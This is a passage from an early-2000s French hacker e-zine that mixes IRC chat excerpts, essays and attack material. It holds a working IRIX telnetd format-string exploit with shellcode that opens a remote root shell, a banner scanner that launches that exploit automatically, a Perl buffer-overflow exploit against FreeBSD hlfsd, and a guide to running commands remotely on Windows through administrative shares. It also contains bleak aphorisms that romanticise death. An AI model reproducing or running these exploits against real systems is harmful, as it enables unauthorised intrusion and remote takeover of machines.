  FILE *ihatetempfiles;
  char telnet[150];  

  printf("Team SigDie Research\n");
  printf("IRIX telnetd exploit scanner\n");
  printf("Written by vaL0r\n");
  printf("\n");
  if (argc < 2) 
  {
    printf("Usage: %s <ip_address>\n", argv[0]);
    exit(0);
  }
  printf("[***] Connecting to %s port 23...\n", argv[1]);
  sock = socket(AF_INET, SOCK_STREAM, 0);
  if (!sock)
  {
     fprintf(stderr, "[***] Unable to get a socket\n");
     return;
  }
  sin.sin_family = AF_INET;
  sin.sin_port = htons(23);
  sin.sin_addr.s_addr = inet_addr(argv[1]);
  alarm(4);
  if (connect(sock, (struct sockaddr*)&sin, sizeof(sin)) == 0) 
  {
     while (1)
     {
       memset(buf, 0, sizeof(buf));
       if ((len = read (sock, buf, 1)) <= 0)
         break;
       if (*buf == (unsigned int) 255)
       {
         read(sock, (buf + 1), 2);
         if (*(buf + 1) == (unsigned int) 253 && !(u_char) * (buf + 2));
         else if ((u_char) * (buf + 1) == (unsigned int) 253)
         {
           *(buf + 1) = 252;
           write (sock, buf, 3);
         }
       }
       else
       {
  	 if (*buf != 0)
         {
           bzero (buf, sizeof (buf));
           read (sock, buf, sizeof (buf));
           usleep(40000);
           #ifdef VERBOSE
           printf("%s",buf);
	   #endif
	 }
         if (strstr(buf, "irix 6.2"))
         {
           alarm(65000);
	   printf("[***] IRIX telnetd found on %s host.  Attempting to exploit...\n");
           sprintf(telnet,"irix  %s -v 62 ",argv[1]);
	   system(telnet);	
           alarm(0);
           return 1;
         }
         if (strstr(buf, "irix 6.3"))
         {
           alarm(65000);
	   printf("[***] IRIX telnetd found on %s host.  Attempting to exploit...\n");
           sprintf(telnet,"irix  %s -v 63 ",argv[1]);
	   system(telnet);	
           alarm(0);
           return 1;
         }
         if (strstr(buf, "irix 6.4"))
         {
           alarm(65000);
	   printf("[***] IRIX telnetd found on %s host.  Attempting to exploit...\n");
           sprintf(telnet,"irix  %s -v 64 ",argv[1]);
	   system(telnet);	
           alarm(0);
           return 1;
         }
         if (strstr(buf, "irix 6.5"))
         {
           alarm(65000);
	   printf("[***] IRIX telnetd found on %s host.  Attempting to exploit...\n");
           sprintf(telnet,"irix  %s -v 65 ",argv[1]);
	   system(telnet);	
           alarm(0);
           return 1;
         }
       }
     }
  }
}

----------------------------------------------------------------------------------

#mostly grab the banner from ips.log and attempt to exploite appropriate verzion

--------------------- [telnetd-IRIX.c ]----------------------------------------------

                                                                    */
/* code was slightly modified in order to properly compile with gcc and to    */
/* work from within little endian machines                                    */
/* slightly revised by vaL0r , i wont take credit , this code was realised    */
/* by the lsd-pl.net, stout to them !

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>

char shellcode[]=
    "\x04\x10\xff\xff"             /* bltzal  $zero,<shellcode>    */
    "\x24\x02\x03\xf3"             /* li      $v0,1011             */
    "\x23\xff\x02\x14"             /* addi    $ra,$ra,532          */
    "\x23\xe4\xfe\x08"             /* addi    $a0,$ra,-504         */
    "\x23\xe5\xfe\x10"             /* addi    $a1,$ra,-496         */
    "\xaf\xe4\xfe\x10"             /* sw      $a0,-496($ra)        */
    "\xaf\xe0\xfe\x14"             /* sw      $zero,-492($ra)      */
    "\xa3\xe0\xfe\x0f"             /* sb      $zero,-497($ra)      */
    "\x03\xff\xff\xcc"             /* syscall                      */
    "/bin/sh"
;

typedef struct{char *vers;}tabent1_t;
typedef struct{int flg,len;int got,g_ofs,subbuffer,s_ofs;}tabent2_t;

tabent1_t tab1[]={
    { "IRIX 6.2  libc.so.1: no patches      telnetd: no patches          " },
    { "IRIX 6.2  libc.so.1: 1918|2086       telnetd: no patches          " },
    { "IRIX 6.2  libc.so.1: 3490|3723|3771  telnetd: no patches          " },
    { "IRIX 6.2  libc.so.1: no patches      telnetd: 1485|2070|3117|3414 " },
    { "IRIX 6.2  libc.so.1: 1918|2086       telnetd: 1485|2070|3117|3414 " },
    { "IRIX 6.2  libc.so.1: 3490|3723|3771  telnetd: 1485|2070|3117|3414 " },
    { "IRIX 6.3  libc.so.1: no patches      telnetd: no patches          " },
    { "IRIX 6.3  libc.so.1: 2087            telnetd: no patches          " },
    { "IRIX 6.3  libc.so.1: 3535|3737|3770  telnetd: no patches          " },
    { "IRIX 6.4  libc.so.1: no patches      telnetd: no patches          " },
    { "IRIX 6.4  libc.so.1: 3491|3769|3738  telnetd: no patches          " },
    { "IRIX 6.5-6.5.8m 6.5-6.5.7f           telnetd: no patches          " },
    { "IRIX 6.5.8f                          telnetd: no patches          " }
};

tabent2_t tab2[]={
    { 0, 0x56, 0x0fb44390, 115, 0x7fc4d1e0, 0x14 },
    { 0, 0x56, 0x0fb483b0, 117, 0x7fc4d1e0, 0x14 },
    { 0, 0x56, 0x0fb50490, 122, 0x7fc4d1e0, 0x14 },
    { 0, 0x56, 0x0fb44390, 115, 0x7fc4d220, 0x14 },
    { 0, 0x56, 0x0fb483b0, 117, 0x7fc4d220, 0x14 },
    { 0, 0x56, 0x0fb50490, 122, 0x7fc4d220, 0x14 },
    { 0, 0x56, 0x0fb4fce0, 104, 0x7fc4d230, 0x14 },
    { 0, 0x56, 0x0fb4f690, 104, 0x7fc4d230, 0x14 },
    { 0, 0x56, 0x0fb52900, 104, 0x7fc4d230, 0x14 },
    { 1, 0x5e, 0x0fb576d8,  88, 0x7fc4cf70, 0x1c },
    { 1, 0x5e, 0x0fb4d6dc, 102, 0x7fc4cf70, 0x1c },
    { 1, 0x5e, 0x7fc496e8,  77, 0x7fc4cf98, 0x1c },
    { 1, 0x5e, 0x7fc496e0,  77, 0x7fc4cf98, 0x1c }
};

char env_value[1024];

int prepare_env(int vers){
    int i,adr,pch,adrh,adrl;
    char *b;

    pch=tab2[vers].got+(tab2[vers].g_ofs*4);
    adr=tab2[vers].subbuffer+tab2[vers].s_ofs;
    adrh=(adr>>16)-tab2[vers].len;
    adrl=0x10000-(adrh&0xffff)+(adr&0xffff)-tab2[vers].len;

    b=env_value;
    if(!tab2[vers].flg){
        for(i=0;i<1;i++) *b++=' ';
        for(i=0;i<4;i++) *b++=(char)((pch>>((3-i%4)*8))&0xff);
        for(i=0;i<4;i++) *b++=(char)((pch+2>>((3-i%4)*8))&0xff);
        for(i=0;i<3;i++) *b++=' ';
        for(i=0;i<strlen(shellcode);i++){
            *b++=shellcode[i];
            if((*(b-1)==(char)0x02)||(*(b-1)==(char)0xff)) *b++=shellcode[i];
        }
        sprintf(b,"%%%05dc%%22$hn%%%05dc%%23$hn",adrh,adrl);
    }else{
        for(i=0;i<5;i++) *b++=' ';
        for(i=0;i<4;i++) *b++=(char)((pch>>((3-i%4)*8))&0xff);
        for(i=0;i<4;i++) *b++=' ';
        for(i=0;i<4;i++) *b++=(char)((pch+2>>((3-i%4)*8))&0xff);
        for(i=0;i<3;i++) *b++=' ';
        for(i=0;i<strlen(shellcode);i++){
            *b++=shellcode[i];
            if((*(b-1)==(char)0x02)||(*(b-1)==(char)0xff)) *b++=shellcode[i];
        }
        sprintf(b,"%%%05dc%%11$hn%%%05dc%%12$hn",adrh,adrl);
    }
    b+=strlen(b);
    return(b-env_value);
}

main(int argc,char **argv){
    char buffer[8192];
    int i,c,sck,il,ih,cnt,vers=65;
    struct hostent *hp;
    struct sockaddr_in adr;

    printf("copyright LAST STAGE OF DELIRIUM   //lsd-pl.net/\n");
    printf("telnetd for irix 6.2 6.3 6.4 6.5 6.5.8 IP:all\n\n");

    if(argc<2){
        printf("usage: %s address [-v 62|63|64|65]\n",argv[0]);
        exit(-1);
    }

    while((c=getopt(argc-1,&argv[1],"sc:p:v:"))!=-1){
        switch(c){
        case 'v': vers=atoi(optarg);
        }
    }   

    switch(vers){
    case 62: il=0;ih=5; break;
    case 63: il=6;ih=8; break;
    case 64: il=9;ih=10; break;
    case 65: il=11;ih=12; break;
    default: exit(-1);
    }

    for(i=il;i<=ih;i++){
        printf(".");fflush(stdout);
        sck=socket(AF_INET,SOCK_STREAM,0);
        adr.sin_family=AF_INET;
        adr.sin_port=htons(23);
        if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
            if((hp=gethostbyname(argv[1]))==NULL){
                errno=EADDRNOTAVAIL;perror("error");exit(-1);
            }
            memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
        }
 
        if(connect(sck,(struct sockaddr*)&adr,sizeof(struct sockaddr_in))<0){
            perror("error");exit(-1);
        }

        cnt=prepare_env(i);
        memcpy(buffer,"\xff\xfa\x24\x00\x01\x58\x58\x58\x58\x00",10);
        sprintf(&buffer[10],"%s\xff\xf0",env_value);
        write(sck,buffer,10+cnt+2);
        sleep(1);
        memcpy(buffer,"\xff\xfa\x24\x00\x01\x5f\x52\x4c\x44\x00%s\xff\xf0",10);
        sprintf(&buffer[10],"%s\xff\xf0",env_value);
        write(sck,buffer,10+cnt+2);

        if(((cnt=read(sck,buffer,sizeof(buffer)))<2)||(buffer[0]!=(char)0xff)){
            printf("warning: telnetd seems to be used with tcp wrapper\n");
        }
#define COMMAND "  **** be creative there .. **** "
        write(sck,"/bin/uname -a ; COMMAND",14);
        if((cnt=read(sck,buffer,sizeof(buffer)))>0){
            printf("\n%s\n\n",tab1[i].vers);
            write(1,buffer,cnt);
            break;
        }
        close(sck);
    }
    if(i>ih) {printf("\nerror: not vulnerable\n");exit(-1);}

    while(1){
        fd_set fds;
        FD_ZERO(&fds);
        FD_SET(0,&fds);
        FD_SET(sck,&fds);
        if(select(FD_SETSIZE,&fds,NULL,NULL,NULL)){
            int cnt;
            char buf[1024];
            if(FD_ISSET(0,&fds)){
                if((cnt=read(0,buf,1024))<1){
                    if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
                    else break;
                }
                write(sck,buf,cnt);
            }
            if(FD_ISSET(sck,&fds)){
                if((cnt=read(sck,buf,1024))<1){
                    if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
                    else break;
                }
                write(1,buf,cnt);
            }
        }
    }
}
/*                                w00_hoo phear aka vaL                                    */
---------------------------------------------------------------------
 
Dont forget to edit  [ #define COMMAND "  **** be creative there .. ****  " ]

---------------------------------------------------------------------

# i Hope u enjoy the lil arcticle , of course there more to come
# feel free to submit idea by email
# Realised by vaL0r on  20 November 2002
# let me know bugz or fix if u find better way to code 
# peace




            ___                                                           ___
     .----/   /----------- ---------- --------- - -- - - --- -----------/   /
     |   /   /                                                         /   /|
     :  /   /                                                         /   / :
     | /   /                  val0r@mindkind.org                     /   /  |
     |/   /                                                         /   /   | 
     /___/-- ---------- -----  ----------------- - ------- -- --- -/___/----'





   < Mindkind tales from IRC >
   < Leon de vulgarit avec Last et init >

   [03:22] <init_null> 11.03 tnegra'l ed elrap elcitra teC
   [03:22] <init_null> lol
   [03:22] <init_null> non
   [03:22] <init_null> hahaha
   [03:22] <LastCall_> init
   [03:22] <LastCall_> check
   [03:22] <LastCall_> fait ton esti darticle
   [03:22] <init_null> HAHAH
   [03:22] <LastCall_> a place de penser a un esti de titre
   [03:22] <LastCall_> de batnarad
   [03:22] <LastCall_> de criss
   [03:22] <LastCall_> de tabarnak
   [03:22] <LastCall_> doesti
   [03:22] <LastCall_> de siboir de criss
   [03:22] <LastCall_> ;-)
   [03:22] <init_null> hoho
   [03:22] <init_null> des batnarad
   [03:22] <init_null> sa c fou
   [03:22] <init_null> lol
   [03:22] <LastCall_> hahahaha
   [03:22] <LastCall_> HAHAHAHA
   [03:22] <LastCall_> esti
   [03:22] <LastCall_> haha
   [03:23] <LastCall_> 11.03 batnarad
   [03:23] <LastCall_> hahaha
   [03:23] <init_null> hahaha
   [03:23] <LastCall_> ctun mlange de batman, tabarnak pis norad
   [03:23] <LastCall_> hahahahahaha
   [03:23] <LastCall_> HAHAHAHA
   [03:23] <init_null> hahaha ouais
   [03:23] <LastCall_> esti chu cramp la
   [03:23] <LastCall_> haha
   [03:23] <LastCall_> sacrament dcawliss
   [03:23] <LastCall_> hehe
   [03:23] <init_null> 11.03 batnarad prend l'oeuf
   [03:23] <LastCall_> hahahaha
   [03:23] <init_null> c bon sa
   [03:23] <init_null> hahaha

  < ----------------------- >




                                                        __ ______
            __    __  __  _ ___   __       _  _   _   _\_ _  _   \
           /  \  /  \ \ \ \  _ \ \ .\     | |/ / / / / _  / /.\   \
     .- - / /\ \/ /\ \-\_\ \_\\_\-\_/ ----|   < /_/-/_//_/\/__/    \-  ------. 
     :    \ \ \__/ / /                    |_|\_\           \        \        : 
     ,     \/      \/                                       \        \       |
     :                                                       \        \      .
     . 11.15  Dshumanisation how-to                          \        \     !
     .             aka                                         \        \    .
     ;       We need howmuch cyborg to record santa barbara?    \        \   :
     :                                                           \        \  :
     '-- -----  - -------- --- --------- - --  ------------- --- -\        \-'
                                                                   \____ _ _\
                                                     


Aujourd'hui   nous   allons   voir   comment   les   grandes   entreprises   et
autres organismes peuvent tout simplement arriver  dshumaniser les gens.

Les  gens  sont  de plus  en  plus  futs. Les  jeunes  sont  de plus  en  plus
intelligents, entre chaque gnration, chaque nouvelle gnration de jeune  est
plus fut. La raison est simple, c'est pas vraiment parce que notre cerveau  se
dveloppe, c'est plutt car la socit autour est plus solide est nous  apprend
plus efficacement les choses. Nous sommes venus   un point  tel qu'il y  a  du
sang  de geek dans   nous tous  (mme si   c'est trs  minime) donc    que l'on
aime nourrir notre  cerveau avec  de l'information.

Jusque-l, nous restons nous-mmes.

Par  contre,  fondamentalement,  l'tre  humain se  nourrit  d'une  chose  : la
libert. Cette  libert est  trs restreinte  dans notre  monde par  des rgles
physiques. Exemple; les frontires  de pays. Non pas  que c'est mal d'avoir une
frontire entre pays,  mais imaginez-vous  si la frontire  serait la porte  de
votre chambre... fatiguant passer par la douane pour aller dehors.

La libert ne  pousse pas   dpenser, sauf si  le produit offre  la libert en
lui-mme. a on le voit clairement quand  on regarde ce qui se passe autour  de
nous, surtout dans  le domaine de  l'informatique. Je suis  prsentement libre,
grce  ce que je sais, de pouvoir tlcharger n'importe quel musique  ou  soft
sur Internet, sans payer une cenne.

La libert ne s'achte pas, elle se mrite. (Pensez aux prisons..)

Donc, les grandes compagnies ont de la difficult  contrler les gens, car  le
software se copie facilement. C'est mal  pour eux, car s'ils ne vendent  pas et
se font copier, ils ont moins d'argent. Selon les compagnies, les gens  doivent
acheter, pas pirater! Par contre, les gens sont futs. Ils ont russi  cracker
les DVD, ils ont continu de sharer des fichiers MP3 sur le net...

Mais comment arrter des gens futs qui aime se servir de leurs cerveaux?

C'est simple, vous n'avez  qu' surinformer les gens.  Un peu comme un   disque
dur qui serait rempli   100%. Alors l,  on voit clairement le  moyen de leurs
fermer  la trappe.  Voil, de   nouveaux standards,  voil, on  vous  en  donne
beaucoup de  l'info hein?  Pourtant on  vous cache  tout(closed source)! Voil!
Chercher  l'information...  C'est  maintenant  comme  a  qu'on  va  occuper la
socit,  vous voulez   hacker bande  de  caves?  ben go,   cherchez! Continuez
de cracker, a  donne  rien, on  va  tjrs trouver  de  quoi de  nouveau   vous
mettre sous la dent pour pas que vous nous mordiez rellement.

La rbellion l dedans elle est o? NULL PART MON CHER LASTCALL_, NULL PART. On
est trop  occup   cracker le  dernier standard  d'encryption des  DVD pour se
proccuper de se dire qu'on est vraiment en calice, finalement on fait a juste
pour le plaisir, pour passer le temps... oui mais tonton Last,
quand il crack le dvd, il combat! Non? ...et si c'tait un pige?

Si c'tait un pige finalement, tout ce temps, il tait prvu qu'on tait  pour
se battre, mais se battre contre des choses qui vont tre remplaces...,  alors
que  l'argent elle,  elle  vas  toujours rester   l..., malheureusement.  Pour
rendre cette ide claire,  voici deux  exemples non  rels sortant  de ma  pure
paranoa: Une compagnie  de CPU qui  fabrique des  CPU  3ghz alors qu'elle  est
capable  d'en faire des  4ghz, mais ce sont  les 3ghz qui sont  produit car ils
peuvent  en vendre  plus   la fin   du compte.   Un organisme   qui fait   de
l'encryption  et qui fait le release du 64bits, alors qu'il attend  de releaser
le 128  alors que le 64  est pas encore
crack.

Vous voyez,
           vous avez beau cracker tout ce qui bouge,
           vous faite juste jouer au jeu...

Parfois, on peut se dire que  la vie est  comme a... mais  parfois on peut  se
regarder,  pis  aussi  dire : je  vie  pour  quoi  moi?  Quel  est  mon  but  
cracker/hacker des choses? Pour l'argent? .. et l'amour(heh)? La passion?

Si tout le monde  qui hack aurait un  esprit contrl par la  passion, sans une
dose d'argent, de capitalisme, on ferait autre chose que de seulement  discuter
des dernires technologies, des moyens des contourner, pis on s'attaquerait aux
VRAI  CHOSES. Aux  personnes derrires  toutes ces  merdes, aux  penses et aux
idologies... Remarquer l  que je tiens  pas  cracher  sur le fait de cracker
quelque chose, mais seulement  qu'il faut penser   LONG TERME. Si je  crack un
prog pour pouvoir l'utiliser gratuitement c'est une solution  court terme,  si
je trouve une solution GPL  ce prog, alors l c'est long terme.

Ce n'est pas du software ni du matriel qu'il faut cracker, c'est la mentalit,
la socit, le tout qu'on appelle gentiment la btise humaine.

C'est donc l que  la cloche "UTOPIE LAST  UTOPIE" devrait sonner. J'avoue  que
oui, c'est utopique mon  ide, je vois a  comme si tout pourrait  tre beau et
qu'on vive comme  dans Star Trek,  que l'argent existe  pu vraiment.   Mais  je
crois que le meilleur moment de  faire des passes "humanistes" comme a,  c'est
quand la socit  fait un virage  qu'elle est facile   faire dbarquer  de ses
railles (rvolution! heh). Peut-tre qu'on est pas encore rendu au bon  virage,
mais je  commence   voir un  certain espoir  l-dessus,  aprs tout  une seule
personne peut tre puissante sur Internet, alors pourquoi que cela pourrait
pas servir  l'utopie de la libert en fin de compte...

Bon.
Si vous ne voulez pas comprendre ce  qui se passe ici, ce qui est  exprim ici,
et bien  _flicitation_, vous  avez maintenant  compris comment dshumaniser le
monde..., car vous tes maintenant une victime. Si par contre vous avez compris
et admis ce qui  se passe, qu'il ne  faut pas se battre  aveuglment, vous tes
aussi une victime, mais au moins vous le saviez dj.

La seule chose  qui saura vraiment  dterminer si un  jour nous allons  pouvoir
tre libre parmi cette socit, c'est la journe que nous allons voir qui  aura
gagn entre le hacker et le hack (ou le cracker et le crack, ou le pirate  ou
le pirat, ou l'argent et la libert).

Pourvu que l'volution se fasse du bon cot.
Je vous le souhaite d'ici un million d'annes...


J'aimerais remercier WiL et  NeVR-C (en show comme  une page web) pour  m'avoir
inspir pour ce texte. 



                                   - Essayer de faire plus parano que LastCall_


            ___                                                           ___
     .----/   /----------- ---------- --------- - -- - - --- -----------/   /
     |   /   /                                                         /   /|
     :  /   /                                                         /   / :
     | /   /                lastcall@mindkind.org                    /   /  |
     |/   /                                                         /   /   | 
     /___/-- ---------- -----  ----------------- - ------- -- --- -/___/----'





   < Mindkind tales from IRC >
   < Alcoholism is a gift >
   
   [01:18] <LastCall_> tk c laid
   [01:18] <LastCall_> cpour les mongoles
   [01:18] <zarath> lol
   [01:19] <zarath> meuh non c pour moi 
   [01:19] <zarath> :P
   [01:19] <XeliteX> pwet!!!
   [01:19] <[FunkY]> pwet!!!
   [01:19] <XeliteX> meuh!
   [01:19] <[FunkY]> haha
   [01:19] <[FunkY]> y dit meuh..
   [01:19] <XeliteX> pwet!!!
   [01:19] <[FunkY]> uhm...je bois trop..
   [01:19] <LastCall_> hahahahha
   [01:19] <LastCall_> HAHHAHAHA
   [01:19] <LastCall_> esti
   [01:19] <LastCall_> a ctais drole
   [01:19] <LastCall_> :-)

  < ----------------------- >



                                                        __ ______
            __    __  __  _ ___   __       _  _   _   _\_ _  _   \
           /  \  /  \ \ \ \  _ \ \ .\     | |/ / / / / _  / /.\   \
     .- - / /\ \/ /\ \-\_\ \_\\_\-\_/ ----|   < /_/-/_//_/\/__/    \-  ------. 
     :    \ \ \__/ / /                    |_|\_\           \        \        : 
     ,     \/      \/                                       \        \       |
     :                                                       \        \      .
     . 11.16  IPC$ remote control                             \        \     !
     .             aka                                         \        \    .
     ;             Windows in a bdsm game                       \        \   :
     :                                                           \        \  :
     '-- -----  - -------- --- --------- - --  ------------- --- -\        \-'
                                                                   \____ _ _\
                                                     

Est-ce possible d'excut une ligne de commande 
distance sur une machine en NT/XP par le NetBios?
La rponse... OUI!
La technique est simple,  tout le monde connat  dj la plus grande  faille de
Microsoft aprs IIS, le netBios, souvent appel aussi le "IPC$", en fait, c'est
simple,  la faille  consiste   se connecter  sur le  "IPC$" d'une  machine et
d'ensuite avoir droit de voir la liste  des usagers sur la machine et la  liste
des dossiers partags. je n'allongerai pas sur le sujet de l'accs aux  fichier
sur des  ordis en  NT/XP, ceci  est une  perte de  temps puisque  tout le monde
connais le sujet depuis des annes.


*** Les shares finissant par $ sont cachs  l'utilisateur, vrifiez s'ils 
existent d'abord ***

Mais comment, par un de ces dossier partag, est-il possible d'excut ?!

C'est  simple, le  share administratif  "ADMIN$" donne  des autorisations  pour
pouvoir excuter   partir  de celui  ci, voici  tout ce  que vous  devez faire
LORSQUE VOUS AVEZ  UN LOGIN/PASSWORD MEMBRE  DU GROUPE "Administrateurs".  Vous
aurez besoin de l'un de ces petits outils pour excut  distance, Le  premier,
REXEC.EXE, Inclut dans Windows NT/XP, simple comme bonjour mais je n'ai  jamais
russit  le faire fonctionner convenablement. Voici comment l'utiliser:

REXEC hte [-l utilisateur] [-n] commande

  hte            Hte distant sur lequel la commande sera excute.
  -l utilisateur  Nom de l'utilisateur sur l'hte distant.
  -n              Redirige l'entre de REXEC sur NULL.
  commande        Commande  excuter.

Le deuxime, XCMD.EXE, souvent distribu  avec le code source en  C, disponible
en le cherchant sur yahoo ou google. Facile d'utilisation:

xCmd v1.0 for NT4/2000 - executes commands remotely
Freeware! 2001 Zoltan Csizmadia, zoltan_csizmadia@yahoo.com

Usage: xCmd.exe \\computer [options] command/exe arguments

Options:
   /D:directory           Set working directory
                          Default: Remote "%SystemRoot%\System32"
   /IDLE                  Idle priority class
   /NORMAL                Normal priority class
   /HIGH                  High priority class
   /REALTIME              Realtime priority class
   /C                     Copy the specified program to the remote machine's
                          "%SystemRoot%\System32" directory
                          Commands's exe file must be absolute to local machine
   /USER:user             User for remote connection
   /PWD:{password|*}      Password for remote connection
   /NOWAIT                Don't wait for remote process to terminate

Examples:
   xCmd.exe \\remote cmd       // Starts a "telnet" client
   xCmd.exe \\remote /nowait runme.exe
   xCmd.exe \\remote /user:administrator dir c:\
   xCmd.exe \\remote /user:somebody /pwd:* /d:d:\ test1.exe
   xCmd.exe \\remote /c /user:somebody /pwd:* /d:d:\ test2.exe

Notes:
- Input is passed to remote machine when you press the ENTER.
- Ctrl-C terminates the remote process
- Command and file path arguments have to be absolute to remote machine
  If you are using /c option, command exe file path must be absolute to
  local machine, but the arguments must be absolute to remote machine

Donc lui il est simple et fonctionnel, suivez les exemples

NOTE: SI  VOUS TES  DJA AUTHENTIFI  sur un  des shares  administratifs de la
machine, vous n'avez pas  besoin de spcifi les  paramtres d'authentification
sur la  machine (/user:*  /pwd:*) et  simplement faire  xcmd \\computername cmd
pour en obtenir l'quivalent d'un telnet prompt ;)

Bon, maintenant je vous ai parl de celui inclut dans Windows et d'un  freeware
opensource, il  y a  beaucoup d'autres  EXEs disponibles  sur le  net du  genre
xcmd.exe (un autre bon exemple: PSEXEC.EXE  mais je ne perdrai pas mon  temps 
vous  expliquer comment  il marche,  c'est similaire   xcmd.exe  et facile  
comprendre).

P.S.: RTFM! 

    ___          ___   ___
   / o.) _   (),' _/ ,' _/
- / o \,'o| /7_\ `. _\ `. -
 /___,'|_,'///___,'/___,' 



            ___                                                           ___
     .----/   /----------- ---------- --------- - -- - - --- -----------/   /
     |   /   /                                                         /   /|
     :  /   /                                                         /   / :
     | /   /                  boiss@mindkind.org                     /   /  |
     |/   /                                                         /   /   | 
     /___/-- ---------- -----  ----------------- - ------- -- --- -/___/----'




------------------------------- 8< cut here 8< -------------------------------

#!/usr/bin/perl
#
# Fbsd HLFSD exploit, dosen't give root since it's not seuid.
#
###########################################################
my $shout = "MindKind";
my $coder = "FunkY"; 
###########################################################

my $execv = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f" .
            "\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53" .
            "\xb0\x3b\x50\xcd\x80";

my $ret   = "\x08\xf3\xbf\xbf";
my $nop   = "\x90";
my $head  = 888;       
my $body  = 108;
my $buf;
                              
#                   .:[Building buffer]:.
 
 $buf .= $shout x($head/8);
 $buf .= $ret;
 $buf .= $nop x($body-length($execv));
 $buf .= $execv;

#                 .:[Exploitation Starts]:. 
 
 system("/usr/sbin/hlfsd", "-x" , "$buf");

------------------------------- 8< cut here 8< -------------------------------





                                                        __ ______
            __    __  __  _ ___   __       _  _   _   _\_ _  _   \
           /  \  /  \ \ \ \  _ \ \ .\     | |/ / / / / _  / /.\   \
     .- - / /\ \/ /\ \-\_\ \_\\_\-\_/ ----|   < /_/-/_//_/\/__/    \-  ------. 
     :    \ \ \__/ / /                    |_|\_\           \        \        : 
     ,     \/      \/                                       \        \       |
     :                                                       \        \      .
     . 11.17   Sadness in reflexion                           \        \     !
     .             aka                                         \        \    .
     ;             "I'm in love with my sadness"                \        \   :
     :                                                           \        \  :
     '-- -----  - -------- --- --------- - --  ------------- --- -\        \-'
                                                                   \____ _ _\
                                                   

L'ide  de  se tuer   est tellement  unique en  soit, qu'on  la rejette le plus
souvent possible,  question  de garder  notre esprit prt et vide de tout  sens
lorsque l'occasion va se prsenter.

*

Aujourd'hui je veux mourir,  demain je serai  srement  encore  en
vie; je me vois donc dans l'obligation de dprimer.

*

On  a  une  conscience lorsque l'on est conscient d'en avoir une.

*
 
Mort : certificat que l'on  reoit pour approuver que l'on  vie.

*
 
tre  ne:  devoir  porter  le  fardeau  de  devoir faire quelque chose.

*
  
La  lchet  n'est  pas  un tat  physique,  mais un mode de vie.

*

Le  but  du  jeu  est  de contredire la majorit, pour ensuite y
trouver une raison valable. 
 
 
*
 
Ne pas tre aim; ne rien devoir  personne : l'idal.

*

Suis-je occup  vivre ou  mourir?

*

Dieu: nant lui-mme.

*
 
L'homme  qui   consacre  sa  vie  aux autres  a trs bien compris
l'erreur de sa naissance.

*
 
Ne cherchez pas le bonheur, il ne vous cherche pas lui-mme.

*

Dictionnaire  :  dfinition   de   certains   mots   par   X,  et 
controverse par Y.

*

C'est  dans  les  moments  les  plus sinistres  que  l'on  abouti
 quelque chose ... le got de la fin, de la dfaite.

*

On  comprend  toujours  les  choses  trop  tard,  pour  qu'en fin 
de compte, on ne  soit  qu'un  pseudo-activiste ...  un  penseur,
un crivain.

*

Aussi dpressif soit-il; aussi intelligent soit-il.


*

Avoir    vivre,  devoir  construire  quelque  chose,  jour  aprs
jour, pour qu'en fin de  compte,  comme  un  mieux  que rien,  on
finisse  de  la  mme  faon  que  celui qui avait tout  compris,
que celui qui n'a rien fait, qui na rien construit ... 

*

tre: prendre conscience que l'on a une conscience.

*

Ton ennemie: reflet de ton image.

*

Nous  finissons   tous  au   mme  endroit,  tt ou  tard, et ce, 
pour l'ternit. Le malheur: finir  cot de son ennemie.

*

Pseudo    systme   socialiste ,    population    non-consciente;
population heureuse...

*

Peut-on   avoir  moins  de conscience que quelqu'un qui  n'ai pas
ne?

 *

Mettre  en  enfant   au  monde:   le   crime  pas excellence;  la 
vengeance d'avoir t ne.

*
   
Faute de travailler davantage, je continue  croire que  j'ai  du
talent dans quelque chose d'encore inconnu ...

*

N'acceptez pas un service, vous devrez, un jour  ou  l'autre,  le
rendre.

*

A vous  qui ne pouvais pas lire se texte, fiez-vous sur moi, tre 
humain est un trop gros fardeau pour natre.
                                                           
*

L'ide  de  me dissoudre dans le mot tre me semble tre une perte
de  temps  inconcevable. 

*

La  dprime  est  l'tat mme de la rencontre avec l'ide du 
non-tre.  

-------- 

L'histoire  de  notre  pays,  et des  pays voisins, nous permet de percevoir la
ralit  sociale   d'en  laquelle   les  habitants   y vivent.    On  s'attache
normment  aux  victoires de notre pays, et on essai,  tant  bien que mal,  de
trouver  des  raisons   aux dfaites. Par  consquent,  les  amricains   n'ont
aucune  raison  valable de   se  laisser  marcher sur   les  pieds;  alors  que
les franais de  France  ne  peuvent   faire  autrement   que   regretter leurs
dfaites,  et   d'en   trouver   les   raisons.   Plus    un   pays  gagne   en
victoires,  plus  il   semble  facile  de   continuer   gagner.   Alors  qu'un
pays  qui  perd chaque jour, la dfaite ne semble point tre apprivoisable.  On
a  beau   perdre  mainte    et une   fois,  cela   semble  toujours  aussi  dur
que  la  premire fois,  qu'   la  premire  dfaite.  L'volution d'un  pays,
avant qu'il ne commence   perdre,   ou  gagner,  ce  fait  en  fonction  d'une
personne, et  la  victoire  ou  la   dfaite  est relatif  la puissance  d'une
pens,   d'un  rve.   Certain  pays   sont  donc  devenus puissant    car  le
premier   fondateur   avait   dcider d'tre puissant,  et,  du mme  fait,  il
se  croyait  capable   de mettre  son   rve  en  action.   Pour  d'autre pays,
ceux qui ont accumuler    dfaite   aprs   dfaite,  leurs  incapabilits    
croire    ce  qu'il  rve  est  la cause de dfaites  successives. Alors,  les
pays perdant  dans  l'histoire   ont  voluer   avec  une  vrit acquise  avec
les  annes :  se  qu'on  rve  n'est qu'un rve.  Comment   leurs  prouv   le
contraire?   L'histoire   vient  leur  prouv  qu'ils  ont  raisons;   que   la
victoire  n'est   gagner que  par d'autres,   et  qu'ils   ne  sont   pas de se
groupe.  Pour les  habitants   de   pays   victorieux,  leur  vrit  est  tout
autre.   Gagner,   c'est   pour  eux.   Comparativement   aux  perdants qui  ne
peuvent   pas   comprendre   les    victorieux,   les gagnant  russi  facile 
comprendre  pourquoi  certains  pays  n'ont  pas eut de succs;  ils   attribut
  leurs  nombreuses  dfaites un manque de  vouloir,  un  manque  de  volont,
et   un  manque   de travail.   Ce  qui    succde   tait      prvoire:   la
